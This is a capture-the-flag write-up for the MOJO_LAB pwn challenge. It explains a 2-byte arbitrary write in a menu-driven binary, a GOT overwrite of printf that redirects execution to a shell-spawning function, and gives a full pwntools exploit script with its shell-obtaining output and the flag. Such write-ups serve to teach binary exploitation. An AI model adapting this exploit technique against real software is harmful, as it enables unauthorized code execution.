Challenge Name: MOJO_LAB
Category: PWN
CTF: MOJO-JOJO
Description: TOO LAZY FOR A DESCRIPTION
Connection: nc mojo-pwn.securinets.tn 9007
Challenge Overview#
MOJO_LAB is a binary exploitation challenge featuring a Powerpuff Girls themed laboratory program. The binary presents a menu-based interface where users can modify DNA sequences, synthesize chemicals, or abandon the laboratory.
Initial Reconnaissance#
Binary Information#
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped
Security Features#
- NX (Non-Executable Stack): Enabled (RW stack, not RWX)
- PIE: Disabled (executable at fixed address)
- Partial RELRO: GOT is writable
- Stack Canary: Present in some functions
Key Observations#
$ strings main | grep -E "bin|NOOOOO"
/bin/sh
[MOJO JOJO]: NOOOOO! You have compromised my laboratory!
The binary contains a /bin/sh string and a suspicious success message, suggesting there’s a win function.
Vulnerability Analysis#
The Lab Win Function#
Disassembling the binary reveals a lab_win function at address 0x4011b6:
00000000004011b6 <lab_win>:
4011b6: push rbp
4011b7: mov rbp,rsp
...
4011e9: lea rax,[rip+0xe53] # 0x402043 ("/bin/sh")
4011f0: mov rdi,rax
4011f3: call 401060 <system@plt>
This function calls system("/bin/sh"), giving us a shell if we can reach it.
The Arbitrary Write Primitive#
The main vulnerability is in option 1 (“Modify DNA Sequence”). Here’s the relevant disassembly:
4014b0: mov eax,DWORD PTR [rbp-0x10] ; User input (offset)
4014b3: xor eax,0x7050 ; XOR with 0x7050
4014b8: cdqe ; Sign extend to 64-bit
4014ba: lea rdx,[rax+rax*1] ; Multiply by 2
4014be: mov rax,QWORD PTR [rbp-0x8] ; dna_sequences base (0x404120)
4014c2: add rax,rdx ; Calculate target address
4014c5: mov edx,DWORD PTR [rbp-0xc] ; User value to write
4014c8: mov WORD PTR [rax],dx ; Write 2 bytes!
This code allows us to write 2 bytes to an arbitrary memory location using the formula:
target_address = dna_sequences_base + ((user_input ^ 0x7050) * 2)
Where:
dna_sequences_base = 0x404120(in .bss section)- We control the user input (signed 32-bit integer)
- We can write any 2-byte value
The cdqe instruction sign-extends the result, meaning negative offsets work, allowing us to write to addresses before dna_sequences_base - including the GOT!
Exploitation Strategy#
Why GOT Overwrite?#
Since PIE is disabled and the GOT is writable (Partial RELRO), we can:
- Use the arbitrary write to overwrite a GOT entry
- Make it point to
lab_wininstead of the real library function - Trigger that function to get our shell
Target Selection: printf@got#
Looking at option 2 in the menu:
4014df: cmp DWORD PTR [rbp-0x14],0x2
4014e3: jne 40151c <main+0x17e>
4014e5: lea rax,[rip+0xdc4]
4014ec: mov rdi,rax
4014ef: call 401263 <print_str>
4014f4: lea rax,[rip+0x2ba5] # 0x4040a0 <chemical_x>
4014fb: mov rdi,rax
4014fe: mov eax,0x0
401503: call 401080 <printf@plt> ; printf called here!
Option 2 calls printf, making it the perfect target!
Multiple Writes#
Since we can only write 2 bytes at a time but need to overwrite an 8-byte GOT entry, we perform 4 consecutive writes:
- Write bytes 0-1 of
lab_win(0x11b6) toprintf@got(0x404028) - Write bytes 2-3 of
lab_win(0x0040) toprintf@got+2(0x40402a) - Write bytes 4-5 of
lab_win(0x0000) toprintf@got+4(0x40402c) - Write bytes 6-7 of
lab_win(0x0000) toprintf@got+6(0x40402e)
This fully overwrites printf@got with 0x00000000004011b6 (lab_win address).
Offset Calculation#
For each write, we calculate the offset:
offset_raw = (target_address - dna_sequences_base) // 2
offset = offset_raw ^ 0x7050
For printf@got (0x404028):
offset_raw = (0x404028 - 0x404120) // 2 = -0xf8 // 2 = -124offset = -124 ^ 0x7050 = -28716
Exploit Code#
#!/usr/bin/env python3
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
HOST = 'mojo-pwn.securinets.tn'
PORT = 9007
lab_win = 0x4011b6
dna_sequences = 0x404120
printf_got = 0x404028
def write_word(io, target_addr, value):
"""Write 2 bytes to target address"""
offset_raw = (target_addr - dna_sequences) // 2
offset = offset_raw ^ 0x7050
log.info(f"Writing {hex(value)} to {hex(target_addr)}")
io.sendline(b'1')
time.sleep(0.3)
io.recv()
io.sendline(str(offset).encode())
time.sleep(0.3)
io.recv()
io.sendline(str(value).encode())
time.sleep(0.3)
io.recv()
def exploit():
io = remote(HOST, PORT)
time.sleep(1)
io.recv()
# Initial input (no '%' character allowed)
io.sendline(b'test')
time.sleep(0.5)
io.recv()
# Overwrite printf@got with lab_win (4 writes of 2 bytes each)
write_word(io, printf_got, lab_win & 0xFFFF)
write_word(io, printf_got + 2, (lab_win >> 16) & 0xFFFF)
write_word(io, printf_got + 4, (lab_win >> 32) & 0xFFFF)
write_word(io, printf_got + 6, (lab_win >> 48) & 0xFFFF)
# Trigger printf by choosing option 2
log.success("Printf hijacked! Triggering...")
io.sendline(b'2')
time.sleep(1)
log.success("Shell acquired!")
io.interactive()
if __name__ == '__main__':
exploit()
Execution#
$ python3 exploit2.py
[+] Opening connection to mojo-pwn.securinets.tn on port 9007: Done
[*] Writing 0x11b6 to 0x404028
[*] Writing 0x40 to 0x40402a
[*] Writing 0x0 to 0x40402c
[*] Writing 0x0 to 0x40402e
[+] Printf hijacked! Triggering...
[+] Shell acquired!
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat flag.txt
MOJO-JOJO{22222222_LAZZZZZZZYYYYYYYYYY_JU5T_L1KE_A_LINKER}
Final Flag#
MOJO-JOJO{22222222_LAZZZZZZZYYYYYYYYYY_JU5T_L1KE_A_LINKER}
Key Takeaways#
- Arbitrary Write Primitives: Even limited writes (2 bytes at a time) can be powerful when combined strategically
- GOT Overwrites: With Partial RELRO, the GOT remains writable and is a prime target for function hijacking
- Sign Extension Matters: The
cdqeinstruction allowed negative offsets, expanding our write range - Multiple Writes: Don’t give up if you can only write small amounts - multiple writes can achieve the same goal
- PIE Disabled = Fixed Addresses: Makes exploitation much easier as all addresses are predictable





